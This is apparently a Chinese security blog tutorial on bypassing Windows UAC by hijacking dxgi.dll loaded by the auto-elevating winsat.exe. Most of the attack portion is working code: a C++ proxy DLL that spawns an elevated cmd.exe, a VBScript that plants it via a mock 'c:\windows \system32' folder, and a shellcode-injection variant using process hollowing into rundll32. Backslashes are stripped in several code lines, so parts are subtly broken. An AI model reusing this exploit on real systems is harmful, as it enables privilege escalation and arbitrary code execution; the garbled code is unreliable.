bypassUAC && DLL劫持

2020年11月28日08:37:58评论46 views字数 7257阅读24分11秒阅读模式

0x11 UAC简介

用户帐户控制（User Account Control，简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权，以达到帮助阻止恶意程序（有时也称为“恶意软件”）损坏系统的效果。

UAC需要授权的动作包括：

1.配置Windows Update

2.增加或删除用户账户

3.改变用户的账户类型

4.改变UAC设置

6.安装ActiveX

6.安装或移除程序

7.安装设备驱动程序

8.设置家长控制

9.将文件移动或复制到Program Files或Windows目录

10.查看其他用户文件夹

效果如下：

bypassUAC && DLL劫持

而UAC也是区分等级的，具体设置如下

bypassUAC && DLL劫持

为什么有的应用程序不需要提示UAC？？

一句话解释就是因为有的可以程序可以autoElevate（自动提升）

这也是我们常用的几种uac bypass的手法之一.常见手法如下

1.白名单提权机制 - autoElevate

2.DLL 劫持

3.Windows 自身漏洞提权

4.远程注入

5.COM 接口技术

具有autoElevate属性True的应用程序会在启动时自动提升权限，而这些应用程序往往都具备微软的签名，微软认为它是可信的。故此，在该程序启动时，将会以管理员身份启动，假设我们通过COM技术或者DLL劫持该应用程序，也能够获得管理员权限，但分析成本，利用难度也都是很高的。

0x12 BypassUAC

下面我们来查找一下具有该权限的应用程序，并利用DLL劫持的方法来bypassUAC，关于DLL劫持的原理这里不再论述，网上已经有多相关的文章了。

strings.exe -s *.exe | findstr /i autoelevate

bypassUAC && DLL劫持

我们最后选择了winsat.exe这个程序作为我们的劫持程序，下面就是查看该程序会加载的DLL。

bypassUAC && DLL劫持

发现其会加载dxgi.dll。

下面就是需要编写我们的dll了，原理如下（图来自国外）

bypassUAC && DLL劫持

可以通过dllexp来查看dll内的函数

bypassUAC && DLL劫持

你可以自行编写所需要的dll，也可以使用一些自动化工具来生成所需的dll。中间也是出了很多问题，多亏了团队的wlpz师傅的指点，我这里最后的目的就是使用dll劫持来运行一个cmd，所以最后的主要代码如下：

# include "pch.h"
#include <windows.h>#include <Wtsapi32.h>
#pragma comment(lib, "Wtsapi32.lib")
# define EXTERNC extern "C"# define NAKED __declspec(naked)# define EXPORT EXTERNC __declspec(dllexport)# define ALCPP EXPORT NAKED# define ALSTD EXTERNC EXPORT NAKED void __stdcall# define ALCFAST EXTERNC EXPORT NAKED void __fastcall# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC {    FARPROC Hijack_ApplyCompatResolutionQuirking;    FARPROC Hijack_CompatString;    FARPROC Hijack_CompatValue;    FARPROC Hijack_CreateDXGIFactory;    FARPROC Hijack_CreateDXGIFactory1;    FARPROC Hijack_CreateDXGIFactory2;    FARPROC Hijack_DXGID3D10CreateDevice;    FARPROC Hijack_DXGID3D10CreateLayeredDevice;    FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;    FARPROC Hijack_DXGID3D10RegisterLayers;    FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;    FARPROC Hijack_DXGIDumpJournal;    FARPROC Hijack_DXGIGetDebugInterface1;    FARPROC Hijack_DXGIReportAdapterConfiguration;    FARPROC Hijack_PIXBeginCapture;    FARPROC Hijack_PIXEndCapture;    FARPROC Hijack_PIXGetCaptureState;    FARPROC Hijack_SetAppCompatStringPointer;    FARPROC Hijack_UpdateHMDEmulationStatus;
}
namespace DLLHijacker{    HMODULE m_hModule = NULL;    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load(){        TCHAR tzPath[MAX_PATH];        lstrcpy(tzPath, TEXT("dxgi"));        m_hModule = LoadLibrary(tzPath);        if (m_hModule == NULL)            return FALSE;        return (m_hModule != NULL);    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName){        FARPROC fpAddress;        CHAR szProcName[16];        fpAddress = GetProcAddress(m_hModule, pszProcName);        if (fpAddress == NULL)        {            if (HIWORD(pszProcName) == 0)            {                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);                pszProcName = szProcName;            }            ExitProcess(-2);        }        return fpAddress;    }}
using namespace DLLHijacker;


void StartProcess(){    STARTUPINFO startInfo = { 0 };
    PROCESS_INFORMATION procInfo = { 0 };
    WCHAR cmdline[] = L"cmd.exe";        CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);}

BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {        DisableThreadLibraryCalls(hModule);        if(Load())        {            Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");      Hijack_CompatString = GetAddress("CompatString");      Hijack_CompatValue = GetAddress("CompatValue");      Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");      Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");      Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");      Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");      Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");      Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");      Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");      Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");      Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");      Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");      Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");      Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");      Hijack_PIXEndCapture = GetAddress("PIXEndCapture");      Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");      Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");      Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");                  StartProcess();
        }
    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

但是这里又碰上了一个问题，一般这种系统的dll都是需要权限才能更改、移动的，劫持的话就需要做一些操作，不过好在发现了一个vbs脚本，可以帮助我们来完成这个操作，免除权限问题，代码很简单，就不赘述了

Set oFSO = CreateObject("Scripting.FileSystemObject")Set wshshell = wscript.createobject("WScript.Shell")
' Get target binary and payloadWScript.StdOut.Write("System32 binary: ")strBinary = WScript.StdIn.ReadLine()WScript.StdOut.Write("Path to your DLL: ")strDLL = WScript.StdIn.ReadLine()
' Create foldersConst target = "c:windows "target_sys32 = (target & "system32")target_binary = (target_sys32 & strBinary)If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End IfIf Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
' Copy legit binary and evil DLLoFSO.CopyFile ("c:windowssystem32" & strBinary), target_binaryoFSO.CopyFile strDLL, target_sys32' Run, Forrest, Run!wshshell.Run("""" & target_binary & """")
' Clean filesWScript.StdOut.Write("Clean up? (press enter to continue)")WScript.StdIn.ReadLine()wshshell.Run("powershell /c ""rm -r """"\?" & target & """""""")

最后的效果如下

bypassUAC && DLL劫持

如果需要加载shellcode，可以改写里面的函数，比如变成下面这样

void StartProcess(){  unsigned char shellcode_calc[] =    "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"    "x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"    "x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"    "x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"    "x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"    "x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"    "xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"    "xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"    "xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"    "x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"    "x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"    "x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"    "x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"    "x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"    "x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"    "x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"    "xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"    "x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"    "x63x2ex65x78x65x00";
  TCHAR CommandLine[] = TEXT("c:\windows\system32\rundll32.exe");
  CONTEXT Context;   struct _STARTUPINFOA StartupInfo;   struct _PROCESS_INFORMATION ProcessInformation;   LPVOID lpBaseAddress;  
  ZeroMemory(&StartupInfo, sizeof(StartupInfo));  StartupInfo.cb = 104;  if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {    Context.ContextFlags = 1048579;    GetThreadContext(ProcessInformation.hThread, &Context);    lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);    WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);    Context.Rip = (DWORD64)lpBaseAddress;    SetThreadContext(ProcessInformation.hThread, &Context);    ResumeThread(ProcessInformation.hThread);    CloseHandle(ProcessInformation.hThread);    CloseHandle(ProcessInformation.hProcess);  }}

写在后面，当时学习该方法时，发现该作者已经整理了一份可劫持的系统表，地址如下；

https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv

bypassUAC && DLL劫持

有兴趣的可以复现看看.

参考文章：

https://payloads.online/archivers/2018-12-22/1#0x12-bypass-uac%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F

https://payloads.online/archivers/2020-03-02/2

https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

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